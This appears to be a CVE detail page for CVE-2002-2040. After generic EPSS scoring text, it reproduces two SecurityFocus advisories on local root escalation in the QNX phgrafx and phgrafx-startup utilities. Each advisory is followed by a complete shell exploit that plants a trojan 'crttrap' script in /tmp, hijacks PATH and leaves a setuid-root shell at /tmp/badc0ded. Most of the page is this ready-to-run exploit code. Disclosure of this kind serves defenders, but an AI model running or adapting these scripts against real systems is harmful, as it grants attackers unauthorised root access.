CVE-2002-2040 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/4915/info The QNX phgrafx utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. #!/bin/sh # # click advanced,done, apply, accept and done. # now you should have a setuid root shell waiting in /tmp/badc0ded # # www.badc0ded.com echo "#!/bin/sh" > /tmp/crttrap echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap chmod 755 /tmp/crttrap export PATH="/tmp:$PATH" /usr/photon/bin/phgrafx

source: https://www.securityfocus.com/bid/4916/info The QNX phgrafx-startup utility is prone to an issue which may make it possible for local attackers to escalate privileges. This issue is due to unsafe use of the system() function to invoke other programs. This vulnerability may be trivially exploited to gain root privileges. #!/bin/sh # # click test,restore,continue # now you should have a setuid root shell waiting in /tmp/badc0ded # # www.badc0ded.com echo "#!/bin/sh" > /tmp/crttrap echo "cp /bin/sh /tmp/badc0ded" >> /tmp/crttrap echo "chmod 4777 /tmp/badc0ded" >> /tmp/crttrap echo "/usr/bin/crttrap \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9 " >> /tmp/crttrap chmod 755 /tmp/crttrap export PATH="/tmp:$PATH" /usr/photon/bin/phgrafx-startup